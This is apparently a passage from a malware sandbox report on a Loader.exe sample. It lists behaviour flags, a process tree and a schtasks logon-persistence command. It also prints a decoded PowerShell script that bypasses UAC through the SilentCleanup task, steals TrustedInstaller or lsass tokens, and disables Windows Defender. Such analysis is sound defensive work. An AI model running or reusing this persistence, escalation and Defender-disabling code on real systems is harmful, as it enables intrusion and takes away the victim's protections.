\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "407" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "Anywhere;Trailing" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "spell=NativeSupported; cardinal=GlobalSupported; ordinal=NativeSupported; date=GlobalSupported; time=GlobalSupported; message=NativeSupported; address=NativeSupported; media=NativeSupported; telephone=NativeSupported; currency=NativeSupported; url=NativeSupported; alphanumeric=NativeSupported" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "Microsoft Zira" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "SR es-ES Lts Lexicon" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "Microsoft Speech Recognition Engine - fr-FR Embedded DNN v11.1" SearchApp.exe Key created \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "%windir%\\System32\\Speech_OneCore\\VoiceActivation\\it-IT\\VoiceActivation_HW_it-IT.dat" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "{BAE3E62C-37D4-49AC-A6F1-0E485ECD6757}" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "SR de-DE Lookup Lexicon" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "%windir%\\Speech_OneCore\\Engines\\SR\\es-ES-N\\c3082.fe" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "%windir%\\Speech_OneCore\\Engines\\SR\\es-ES-N\\AI043082" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "%windir%\\Speech_OneCore\\Engines\\TTS\\en-US\\M1033Mark" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "Microsoft Ichiro - Japanese (Japan)" SearchApp.exe Set value (data) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = 49553b76dbc112bcd96e2ce32f82aa3750d88abb05779f5fac65e84c5363077e SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "{31350404-77AC-4471-B33A-9020A2EDA1D1}" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "%windir%\\Speech_OneCore\\Engines\\SR\\it-IT-N\\L1040" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "%windir%\\System32\\Speech_OneCore\\VoiceActivation\\en-US\\sidubm.table" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "%windir%\\Speech_OneCore\\Engines\\SR\\ja-JP-N\\lsr1041.lxa" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "11.0.2016.0129" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "%windir%\\System32\\Speech_OneCore\\VoiceActivation\\en-US\\VoiceActivation_en-US.dat.prev" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4ei = "Microsoft Speech HW Voice Activation - Japanese (Japan)" SearchApp.exe Key created \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell explorer.exe -
Runs net.exe
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Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2532 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3036 Loader.exe 3036 Loader.exe 3036 Loader.exe 3036 Loader.exe 3036 Loader.exe 3036 Loader.exe 3036 Loader.exe 3036 Loader.exe 3036 Loader.exe 3036 Loader.exe 3036 Loader.exe 3036 Loader.exe 3036 Loader.exe 3036 Loader.exe 3036 Loader.exe 3036 Loader.exe 3036 Loader.exe 3036 Loader.exe 3036 Loader.exe 3036 Loader.exe 3036 Loader.exe 3036 Loader.exe 3036 Loader.exe 3036 Loader.exe 3036 Loader.exe 3036 Loader.exe 3036 Loader.exe 4420 WINDOWS.exe 4420 WINDOWS.exe 4420 WINDOWS.exe 4420 WINDOWS.exe 4420 WINDOWS.exe 4420 WINDOWS.exe 4420 WINDOWS.exe 4420 WINDOWS.exe 4420 WINDOWS.exe 4420 WINDOWS.exe 4420 WINDOWS.exe 4420 WINDOWS.exe 4420 WINDOWS.exe 4420 WINDOWS.exe 4420 WINDOWS.exe 4420 WINDOWS.exe 4420 WINDOWS.exe 4420 WINDOWS.exe 4420 WINDOWS.exe 4420 WINDOWS.exe 4420 WINDOWS.exe 4420 WINDOWS.exe 4420 WINDOWS.exe 4420 WINDOWS.exe 4420 WINDOWS.exe 4420 WINDOWS.exe 4420 WINDOWS.exe 4420 WINDOWS.exe 4420 WINDOWS.exe 4420 WINDOWS.exe 4420 WINDOWS.exe 4420 WINDOWS.exe 4420 WINDOWS.exe 4420 WINDOWS.exe 4420 WINDOWS.exe 4420 WINDOWS.exe 4420 WINDOWS.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3036 Loader.exe Token: SeDebugPrivilege 4420 WINDOWS.exe Token: SeDebugPrivilege 3176 powershell.exe Token: SeDebugPrivilege 1140 whoami.exe Token: SeDebugPrivilege 1140 whoami.exe Token: SeDebugPrivilege 1140 whoami.exe Token: SeDebugPrivilege 1140 whoami.exe Token: SeDebugPrivilege 1140 whoami.exe Token: SeDebugPrivilege 1140 whoami.exe Token: SeDebugPrivilege 1140 whoami.exe Token: SeDebugPrivilege 1140 whoami.exe Token: SeDebugPrivilege 1140 whoami.exe Token: SeDebugPrivilege 1140 whoami.exe Token: SeDebugPrivilege 1140 whoami.exe Token: SeDebugPrivilege 1140 whoami.exe Token: SeDebugPrivilege 1140 whoami.exe Token: SeDebugPrivilege 1140 whoami.exe Token: SeDebugPrivilege 1140 whoami.exe Token: SeDebugPrivilege 1140 whoami.exe Token: SeDebugPrivilege 1140 whoami.exe Token: SeDebugPrivilege 1140 whoami.exe Token: SeDebugPrivilege 1140 whoami.exe Token: SeDebugPrivilege 1140 whoami.exe Token: SeDebugPrivilege 1140 whoami.exe Token: SeDebugPrivilege 1140 whoami.exe Token: SeDebugPrivilege 1140 whoami.exe Token: SeDebugPrivilege 1140 whoami.exe Token: SeDebugPrivilege 1140 whoami.exe Token: SeDebugPrivilege 1140 whoami.exe Token: SeDebugPrivilege 2140 powershell.exe Token: SeDebugPrivilege 3676 whoami.exe Token: SeDebugPrivilege 3676 whoami.exe Token: SeDebugPrivilege 3676 whoami.exe Token: SeDebugPrivilege 3676 whoami.exe Token: SeDebugPrivilege 3676 whoami.exe Token: SeDebugPrivilege 3676 whoami.exe Token: SeDebugPrivilege 3676 whoami.exe Token: SeDebugPrivilege 3676 whoami.exe Token: SeDebugPrivilege 3676 whoami.exe Token: SeDebugPrivilege 3676 whoami.exe Token: SeDebugPrivilege 3676 whoami.exe Token: SeDebugPrivilege 3676 whoami.exe Token: SeDebugPrivilege 3676 whoami.exe Token: SeDebugPrivilege 3676 whoami.exe Token: SeDebugPrivilege 3676 whoami.exe Token: SeDebugPrivilege 3676 whoami.exe Token: SeDebugPrivilege 3676 whoami.exe Token: SeDebugPrivilege 3676 whoami.exe Token: SeDebugPrivilege 3676 whoami.exe Token: SeDebugPrivilege 3676 whoami.exe Token: SeShutdownPrivilege 4812 explorer.exe Token: SeCreatePagefilePrivilege 4812 explorer.exe Token: SeShutdownPrivilege 4812 explorer.exe Token: SeCreatePagefilePrivilege 4812 explorer.exe Token: SeShutdownPrivilege 4812 explorer.exe Token: SeCreatePagefilePrivilege 4812 explorer.exe Token: SeShutdownPrivilege 4812 explorer.exe Token: SeCreatePagefilePrivilege 4812 explorer.exe Token: SeShutdownPrivilege 4812 explorer.exe Token: SeCreatePagefilePrivilege 4812 explorer.exe Token: SeShutdownPrivilege 4812 explorer.exe Token: SeCreatePagefilePrivilege 4812 explorer.exe Token: SeShutdownPrivilege 4812 explorer.exe Token: SeCreatePagefilePrivilege 4812 explorer.exe -
Suspicious use of FindShellTrayWindow 47 IoCs
pid Process 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe -
Suspicious use of SendNotifyMessage 21 IoCs
pid Process 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe 4812 explorer.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 4420 WINDOWS.exe 3516 StartMenuExperienceHost.exe 1164 SearchApp.exe -
Suspicious use of WriteProcessMemory 47 IoCs
description pid Process procid_target PID 3036 wrote to memory of 2552 3036 Loader.exe 83 PID 3036 wrote to memory of 2552 3036 Loader.exe 83 PID 3036 wrote to memory of 2096 3036 Loader.exe 84 PID 3036 wrote to memory of 2096 3036 Loader.exe 84 PID 2096 wrote to memory of 1156 2096 cmd.exe 87 PID 2096 wrote to memory of 1156 2096 cmd.exe 87 PID 2552 wrote to memory of 2532 2552 cmd.exe 88 PID 2552 wrote to memory of 2532 2552 cmd.exe 88 PID 2096 wrote to memory of 4420 2096 cmd.exe 89 PID 2096 wrote to memory of 4420 2096 cmd.exe 89 PID 4420 wrote to memory of 3176 4420 WINDOWS.exe 97 PID 4420 wrote to memory of 3176 4420 WINDOWS.exe 97 PID 3176 wrote to memory of 4492 3176 powershell.exe 99 PID 3176 wrote to memory of 4492 3176 powershell.exe 99 PID 3176 wrote to memory of 4856 3176 powershell.exe 100 PID 3176 wrote to memory of 4856 3176 powershell.exe 100 PID 3176 wrote to memory of 1140 3176 powershell.exe 102 PID 3176 wrote to memory of 1140 3176 powershell.exe 102 PID 3176 wrote to memory of 3824 3176 powershell.exe 103 PID 3176 wrote to memory of 3824 3176 powershell.exe 103 PID 3176 wrote to memory of 2140 3176 powershell.exe 104 PID 3176 wrote to memory of 2140 3176 powershell.exe 104 PID 2140 wrote to memory of 3788 2140 powershell.exe 106 PID 2140 wrote to memory of 3788 2140 powershell.exe 106 PID 2140 wrote to memory of 4656 2140 powershell.exe 107 PID 2140 wrote to memory of 4656 2140 powershell.exe 107 PID 2140 wrote to memory of 3676 2140 powershell.exe 109 PID 2140 wrote to memory of 3676 2140 powershell.exe 109 PID 2140 wrote to memory of 4300 2140 powershell.exe 110 PID 2140 wrote to memory of 4300 2140 powershell.exe 110 PID 2140 wrote to memory of 4604 2140 powershell.exe 111 PID 2140 wrote to memory of 4604 2140 powershell.exe 111 PID 4420 wrote to memory of 5056 4420 WINDOWS.exe 114 PID 4420 wrote to memory of 5056 4420 WINDOWS.exe 114 PID 4420 wrote to memory of 4812 4420 WINDOWS.exe 116 PID 4420 wrote to memory of 4812 4420 WINDOWS.exe 116 PID 4420 wrote to memory of 3512 4420 WINDOWS.exe 117 PID 4420 wrote to memory of 3512 4420 WINDOWS.exe 117 PID 4420 wrote to memory of 3512 4420 WINDOWS.exe 117 PID 4420 wrote to memory of 3428 4420 WINDOWS.exe 118 PID 4420 wrote to memory of 3428 4420 WINDOWS.exe 118 PID 4420 wrote to memory of 3428 4420 WINDOWS.exe 118 PID 4420 wrote to memory of 3428 4420 WINDOWS.exe 118 PID 4420 wrote to memory of 3428 4420 WINDOWS.exe 118 PID 4420 wrote to memory of 3428 4420 WINDOWS.exe 118 PID 4420 wrote to memory of 3428 4420 WINDOWS.exe 118 PID 4420 wrote to memory of 3428 4420 WINDOWS.exe 118 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3036 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"' & exit2⤵
- Suspicious use of WriteProcessMemory
PID:2552 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"'3⤵
- Scheduled Task/Job: Scheduled Task
PID:2532
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp79F3.tmp.bat""2⤵
- Suspicious use of WriteProcessMemory
PID:2096 -
C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
PID:1156
-
-
C:\Users\Admin\AppData\Roaming\WINDOWS.exe"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4420 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc @ ( e c h o   o f f % ) [ 1 ]  
 s p   ' H K C U : \ V o l a t i l e   E n v i r o n m e n t '   ' T o g g l e D e f e n d e r '   @ '  
 i f   ( $ ( s c . e x e   q c   w i n d e f e n d )   - l i k e   ' * T O G G L E * ' )   { $ T O G G L E = 7 ; $ K E E P = 6 ; $ A = ' E n a b l e ' ; $ S = ' O F F ' } e l s e { $ T O G G L E = 6 ; $ K E E P = 7 ; $ A = ' D i s a b l e ' ; $ S = ' O N ' }  
  
 i f   ( $ e n v : 1   - n e   6   - a n d   $ e n v : 1   - n e   7 )   {   $ e n v : 1 = $ T O G G L E   }  
  
 s t a r t   c m d   - a r g s   ' / d / r   S e c u r i t y H e a l t h S y s t r a y   &   " % P r o g r a m F i l e s % \ W i n d o w s   D e f e n d e r \ M S A S C u i L . e x e " '   - w i n   1  
  
 $ n o t i f = ' H K C U : \ S O F T W A R E \ M i c r o s o f t \ W i n d o w s \ C u r r e n t V e r s i o n \ N o t i f i c a t i o n s \ S e t t i n g s \ W i n d o w s . S y s t e m T o a s t . S e c u r i t y A n d M a i n t e n a n c e '  
 n i   $ n o t i f   - e a   0 | o u t - n u l l ;   r i   $ n o t i f . r e p l a c e ( ' S e t t i n g s ' , ' C u r r e n t ' )   - R e c u r s e   - F o r c e   - e a   0  
 s p   $ n o t i f   E n a b l e d   0   - T y p e   D w o r d   - F o r c e   - e a   0 ;   i f   ( $ T O G G L E   - e q   7 )   { r p   $ n o t i f   E n a b l e d   - F o r c e   - e a   0 }  
  
 $ t s = N e w - O b j e c t   - C o m O b j e c t   ' S c h e d u l e . S e r v i c e ' ;   $ t s . C o n n e c t ( ) ;   $ b a f f l i n g = $ t s . G e t F o l d e r ( ' \ M i c r o s o f t \ W i n d o w s \ D i s k C l e a n u p ' )  
 $ b p a s s = $ b a f f l i n g . G e t T a s k ( ' S i l e n t C l e a n u p ' ) ;   $ f l a w = $ b p a s s . D e f i n i t i o n  
  
 $ u = 0 ; $ w = w h o a m i   / g r o u p s ; i f ( $ w - l i k e ' * 1 - 5 - 3 2 - 5 4 4 * ' ) { $ u = 1 } ; i f ( $ w - l i k e ' * 1 - 1 6 - 1 2 2 8 8 * ' ) { $ u = 2 } ; i f ( $ w - l i k e ' * 1 - 1 6 - 1 6 3 8 4 * ' ) { $ u = 3 }  
  
 $ r = [ c h a r ] 1 3 ;   $ n f o = [ c h a r ] 3 9 + $ r + '   ( \       / ) ' + $ r + ' (   *   .   *   )     A   l i m i t e d   a c c o u n t   p r o t e c t s   y o u   f r o m   U A C   e x p l o i t s ' + $ r + '         ` ` ` ' + $ r + [ c h a r ] 3 9  
 $ s c r i p t = ' - n o p   - w i n   1   - c   &   { r p   h k c u : \ e n v i r o n m e n t   w i n d i r   - e a   0 ; $ A v e Y o = ' + $ n f o + ' ; $ e n v : 1 = ' + $ e n v : 1 ;   $ e n v : _ _ C O M P A T _ L A Y E R = ' I n s t a l l e r '  
 $ s c r i p t + = ' ; i e x ( ( g p   R e g i s t r y : : H K E Y _ U s e r s \ S - 1 - 5 - 2 1 * \ V o l a t i l e *   T o g g l e D e f e n d e r   - e a   0 ) [ 0 ] . T o g g l e D e f e n d e r ) } ' ;   $ c m d = ' p o w e r s h e l l   ' + $ s c r i p t  
  
 i f   ( $ u   - e q   0 )   {  
     s t a r t   p o w e r s h e l l   - a r g s   $ s c r i p t   - v e r b   r u n a s   - w i n   1 ;   b r e a k  
 }  
 i f   ( $ u   - e q   1 )   {  
     i f   ( $ f l a w . A c t i o n s . I t e m ( 1 ) . P a t h   - i n o t l i k e   ' * w i n d i r * ' ) { s t a r t   p o w e r s h e l l   - a r g s   $ s c r i p t   - v e r b   r u n a s   - w i n   1 ;   b r e a k }  
     s p   h k c u : \ e n v i r o n m e n t   w i n d i r   $ ( ' p o w e r s h e l l   ' + $ s c r i p t + '   # ' )  
     $ z = $ b p a s s . R u n E x ( $ n u l l , 2 , 0 , $ n u l l ) ;   $ w a i t = 0 ;   w h i l e ( $ b p a s s . S t a t e   - g t   3   - a n d   $ w a i t   - l t   1 7 ) { s l e e p   - m   1 0 0 ;   $ w a i t + = 0 . 1 }  
     i f ( g p   h k c u : \ e n v i r o n m e n t   w i n d i r   - e a   0 ) { r p   h k c u : \ e n v i r o n m e n t   w i n d i r   - e a   0 ; s t a r t   p o w e r s h e l l   - a r g s   $ s c r i p t   - v e r b   r u n a s   - w i n   1 } ; b r e a k  
 }  
 i f   ( $ u   - e q   2 )   {  
     $ A = [ A p p D o m a i n ] : : C u r r e n t D o m a i n . " D e f ` i n e D y n a m i c A s s e m b l y " ( 1 , 1 ) . " D e f ` i n e D y n a m i c M o d u l e " ( 1 ) ; $ D = @ ( ) ; 0 . . 5 | % { $ D + = $ A . " D e f ` i n e T y p e " ( ' A ' + $ _ ,  
     1 1 7 9 9 1 3 , [ V a l u e T y p e ] ) }   ; 4 , 5 | % { $ D + = $ D [ $ _ ] . " M a k ` e B y R e f T y p e " ( ) }   ; $ I = [ I n t 3 2 ] ; $ J = " I n t ` P t r " ; $ P = $ I . m o d u l e . G e t T y p e ( " S y s t e m . $ J " ) ;   $ F = @ ( 0 )  
     $ F + = ( $ P , $ I , $ P ) , ( $ I , $ I , $ I , $ I , $ P , $ D [ 1 ] ) , ( $ I , $ P , $ P , $ P , $ I , $ I , $ I , $ I , $ I , $ I , $ I , $ I , [ I n t 1 6 ] , [ I n t 1 6 ] , $ P , $ P , $ P , $ P ) , ( $ D [ 3 ] , $ P ) , ( $ P , $ P , $ I , $ I )  
     $ S = [ S t r i n g ] ;   $ 9 = $ D [ 0 ] . " D e f ` i n e P I n v o k e M e t h o d " ( ' C r e a t e P r o c e s s ' , " k e r n e l ` 3 2 " , 8 2 1 4 , 1 , $ I , @ ( $ S , $ S , $ I , $ I , $ I , $ I , $ I , $ S , $ D [ 6 ] , $ D [ 7 ] ) , 1 , 4 )  
     1 . . 5 | % { $ k = $ _ ; $ n = 1 ; $ F [ $ _ ] | % { $ 9 = $ D [ $ k ] . " D e f ` i n e F i e l d " ( ' f ' + $ n + + , $ _ , 6 ) } } ; $ T = @ ( ) ; 0 . . 5 | % { $ T + = $ D [ $ _ ] . " C r ` e a t e T y p e " ( ) ; $ Z = [ u i n t p t r ] : : s i z e  
     n v   ( ' T ' + $ _ ) ( [ A c t i v a t o r ] : : C r e a t e I n s t a n c e ( $ T [ $ _ ] ) ) } ;   $ H = $ I . m o d u l e . G e t T y p e ( " S y s t e m . R u n t i m e . I n t e r o p ` S e r v i c e s . M a r ` s h a l " ) ;  
     $ W P = $ H . " G e t ` M e t h o d " ( " W r i t e $ J " , [ t y p e [ ] ] ( $ J , $ J ) ) ;   $ H G = $ H . " G e t ` M e t h o d " ( " A l l o c H ` G l o b a l " , [ t y p e [ ] ] ' i n t 3 2 ' ) ;   $ v = $ H G . i n v o k e ( $ n u l l , $ Z )  
     ' T r u s t e d I n s t a l l e r ' , ' l s a s s ' | % { i f ( ! $ p n ) { n e t 1   s t a r t   $ _   2 > & 1   > $ n u l l ; $ p n = [ D i a g n o s t i c s . P r o c e s s ] : : G e t P r o c e s s e s B y N a m e ( $ _ ) [ 0 ] ; } }  
     $ W P . i n v o k e ( $ n u l l , @ ( $ v , $ p n . H a n d l e ) ) ;   $ S Z = $ H . " G e t ` M e t h o d " ( " S i z e O f " , [ t y p e [ ] ] ' t y p e ' ) ;   $ T 1 . f 1 = 1 3 1 0 7 2 ;   $ T 1 . f 2 = $ Z ;   $ T 1 . f 3 = $ v ;   $ T 2 . f 1 = 1  
     $ T 2 . f 2 = 1 ; $ T 2 . f 3 = 1 ; $ T 2 . f 4 = 1 ; $ T 2 . f 6 = $ T 1 ; $ T 3 . f 1 = $ S Z . i n v o k e ( $ n u l l , $ T [ 4 ] ) ; $ T 4 . f 1 = $ T 3 ; $ T 4 . f 2 = $ H G . i n v o k e ( $ n u l l , $ S Z . i n v o k e ( $ n u l l , $ T [ 2 ] ) )  
     $ H . " G e t ` M e t h o d " ( " S t r u c t u r e T o ` P t r " , [ t y p e [ ] ] ( $ D [ 2 ] , $ J , ' b o o l e a n ' ) ) . i n v o k e ( $ n u l l , @ ( ( $ T 2 - a s   $ D [ 2 ] ) , $ T 4 . f 2 , $ f a l s e ) ) ; $ w i n d o w = 0 x 0 E 0 8 0 6 0 0  
     $ 9 = $ T [ 0 ] . " G e t ` M e t h o d " ( ' C r e a t e P r o c e s s ' ) . I n v o k e ( $ n u l l , @ ( $ n u l l , $ c m d , 0 , 0 , 0 , $ w i n d o w , 0 , $ n u l l , ( $ T 4 - a s   $ D [ 4 ] ) , ( $ T 5 - a s   $ D [ 5 ] ) ) ) ;   b r e a k  
 }  
  
 $ w d p = ' H K L M : \ S O F T W A R E \ P o l i c i e s \ M i c r o s o f t \ W i n d o w s   D e f e n d e r '  
 '   S e c u r i t y   C e n t e r \ N o t i f i c a t i o n s ' , ' \ U X   C o n f i g u r a t i o n ' , ' \ M p E n g i n e ' , ' \ S p y n e t ' , ' \ R e a l - T i m e   P r o t e c t i o n '   | %   { n i   ( $ w d p + $ _ ) - e a   0 | o u t - n u l l }  
  
 s p   ' H K L M : \ S O F T W A R E \ P o l i c i e s \ M i c r o s o f t \ W i n d o w s   D e f e n d e r   S e c u r i t y   C e n t e r \ N o t i f i c a t i o n s '   D i s a b l e N o t i f i c a t i o n s   1   - T y p e   D w o r d   - e a   0  
 s p   ' H K L M : \ S O F T W A R E \ P o l i c i e s \ M i c r o s o f t \ W i n d o w s   D e f e n d e r \ U X   C o n f i g u r a t i o n '   N o t i f i c a t i o n _ S u p p r e s s   1   - T y p e   D w o r d   - F o r c e   - e a   0  
